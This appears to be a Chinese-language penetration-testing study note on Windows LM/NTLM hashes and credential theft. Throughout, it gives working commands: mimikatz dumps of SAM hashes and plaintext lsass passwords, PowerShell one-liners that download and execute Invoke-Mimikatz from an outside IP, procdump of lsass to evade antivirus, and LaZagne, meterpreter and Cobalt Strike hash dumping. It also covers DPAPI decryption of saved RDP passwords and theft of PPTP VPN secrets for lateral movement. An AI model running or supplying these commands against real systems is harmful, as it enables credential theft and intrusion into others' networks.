admin管理员组

文章数量:1637693

一、hash简介

1、Windows系统使用两种方法对用户的密码进行哈希处理。它们分别是LAN Manager(LM)哈希和

NT LAN Manager(NTLM)哈希

2、所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的

字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串

3、现在已经有了更新的NTLMV2以及Kerberos验证体系

4、Windows加密过的密码口令;我们称之为hash,windows的系统密码hash默认情况下一般由两部

分组成:第一部分是LM-hash,第二部是NTLM-hash(以:分隔)

默认使用的是NTLM的哈希值(知道LM的哈希就行)

格式:

5、windows认证基础

windows的认证包括三个部分:(此处自己去了解)

①本地认证:用户直接操作计算机登录账号(平时登录)

1、用户输入密码

2、系统收到密码后将用户输入的密码计算成NTLM Hash

3、与sam数据库(安全账户管理器)(%SystemRoot%\system32\config\sam)中该用户的哈希比对

sam直接打是打不开的,需要安全模式或者其他方式,后续补充

4、匹配则登录成功,不匹配则登陆失败

5、NTLM哈希,是一种单向哈希算法,windows将用户的密码计算成NTLM哈希之后才存储在电脑。

6、本地认证中用来处理用户输入密码进程为lsass.exe,密码会在这个进程中明文保存,供该进程

将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进

程中读取到的

简单的ntlm哈希可以进行解密

网址:md5在线解密破解,md5解密加密 (cmd5)

②网络认证:远程连接到工作组中的某个设备(远程ftp,文件共享)

③域认证:登录到域环境中的某个设备

二、系统用户密码凭证获取

1、凭证获取工具

①mimikatz(此处是2.0)

读取系统的密码和解密特定的加密的密码 

win10下载地址:Releases · gentilkiwi/mimikatz (github)(可以不下载源码,下第二个)

一般都是非交互式,除非你拿到这个shell,传了此软件后,再交互执行

本地非交互式凭证获取:

直接以管理员权限运行mimikatz(交互式)

交互式测试可以按照①依次执行查看效果(拿到NLTM hash去尝试进行解密(不一定可解))

后期可以利用hash值横向渗透

privilege::debug    token::list

①mimikatz.exe "log rs.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"

获取明文密码:

②mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords"  "exit"

后面执行结果写入rs.txt   进行提权(调试模式:需要管理员权限)  sam数据库中获取hash值

1.0版本命令:

privilege:debug   //提升权限

inject:process lsass.exe sekurlsa.dll    //注入sekurlsa.dll 到lsass.exe 进程里

@getLogonPasswords     //获取密码

②powershell脚本

远程加载m脚本(获取系统当中明文密码)此方法不推荐使用

powershell lEX (New-Object Net.WebClient).DownloadString(http://47.101.214.85:8000/Invoke-MimikatZ.ps1');Invoke-Mimikatz -DumpCreds

别名 创建对象为Net.webClient   方法  (脚本存放位置:此处为vps服务器上) ;分隔 调用命令执行(请求vps脚本去加载)

python3 -m http.server 8080(用于测试和开发,在服务器的指定端口开启一个服务)

不知道命令作用含义可以 get-help  参数+百度翻译

powershell的基本使用(自己去了解)比cmd强大一点

脚本要会看
powershell lEX(new-object net.webclient)downloadstring(http://47.101.214.85:8000/Get-PassHashes.ps1');Get-PassHashes

列出了当前NTLM的哈希和lm的哈希

③wce

下载地址:Releases · returnvar/wce (github)Amplia Security - Research - Windows Credentials Editor (WCE)

方法2:kali中文件下载到windows机器中

kali中自带有/usr/share/windows-resources/wce,可以在kali中开个http服务,供下载

到需要开启下载的目录 ,这里以wce为示例:

cd   /usr/share/windows-resources/wce

python3   -m  http.server 11111(在11111号端口开启http服务)

此时可以在windows中访问 192.168.129.132:11111//usr/share/windows-resources/wce

此时就可以进行下载

ctrl+c退出服务(不放心可以netstat -anltup | grep 11111)

软件运行不了(后期再看)下载地址:Releases · returnvar/wce (github)

④pwddump7

下载地址:https://download.openwall/pub/projects/john/contrib/pwdump/pwdump7.zip

也运行不了

⑤ophcrack

下载地址:OphCrack 下载 |SourceForge

网站破解不了哈希值的话,配合彩虹表破解

彩虹表:

https://ophcrack.sourceforge.io/tables.phphttp://project-rainbowcrack/table.htm

⑥procdump+mimikatz

下载地址:ProcDump - Sysinternals | Microsoft Learn

微软的(有签名)可以绕过杀软

procdump lass进程导出

mimikatz执行需要免杀

⑦注册表导出hash

⑧lazagne

LaZagne.exe   all

⑨meterpreter获取哈希(功能多,掉了不好搞) 

hashdmp

需要管理员权限get  system提权 之后直接执行hashdump里边也集成了mimikatz模块

⑩cobaltsritle获取哈希(cs方便一点)

得到shell会话后(不建议调为0容易被发现查杀)

b里边执行就行

例如在cs中通过upload上传wce到目标机器上(指定目录)

shell PwDump7.exe>1.txt

三、Powershell脚本获取RDP连接记录

脚本地址:https://github/3gstudent/List-RDP-Connections-History.git

powershell -exec bypass ./ListAllUsers.ps1(在当前脚本所在目录执行)加载powershell脚本(绕过运行策略限制)

powershell -f  ListAllUsers.ps1(可能执行不了,策略原因(可以去修改规则))

有自己的规则(powershell) 

知道当前的机器可以访问哪一个网段的ip以及用RDP链接(远程桌面连接)(横向的一个渗透)

1、本地RDP连接

在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连

接密码进行解密解密成功后可使用此凭据继续横向移动。

①本地RDP连接密码解密

Mimikatz

查看本地机器本地连接过的目标机器:(也可以查看注册表)

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

②查看本地用户此目录下是否存有RDP密码文件:

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

③查看保存在本地的远程主机信息:

cmdkey /list

④选择一个密码文件对其进行解密

privilege::debug

dpapi::cred

/in:C:Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E48488120E3ADA2

指定需要解密的文件(自己去找路径)

此处需要记录下guidMasterKey的值,待会要通过guidMasterKey找对应的Masterkey 

sekurlsa::dpapi

通过Masterkey解密pbData数据,拿到明文RDP连接密码

dpapi::cred

/in:C:\Users\mingy\AppData\LocalMicrosoft\CredentialS\1E85A94EE31F584E484B8120E3ADA266/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8

windows上使用RDP连接时很普遍的一种情况

2、PPTP口令获取

PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

需要拿到目标系统管理员权限

添加VPN连接

获取PPTP配置信息

type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk可获得PPTP连接的配置信

息,包括服务器IP,不包含连接用户名和口令

在此路径下:

没有添加vpn的话就不用找了(因为没有生成),自己可以去尝试以下,随便输入(你不需要有真实的vpn)

mimikatz获取PPTP密码mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

命令行下连接VPN   rasdial "VPN1" admin1 admin1@vpn

命令行关闭VPN连接     rasphone -h "VPN1"

通过这个vpn进入另一个网络(内网或者是别的网段)

目录

一、hash简介

二、系统用户密码凭证获取

三、Powershell脚本获取RDP连接记录


本文标签: 简介Windowshash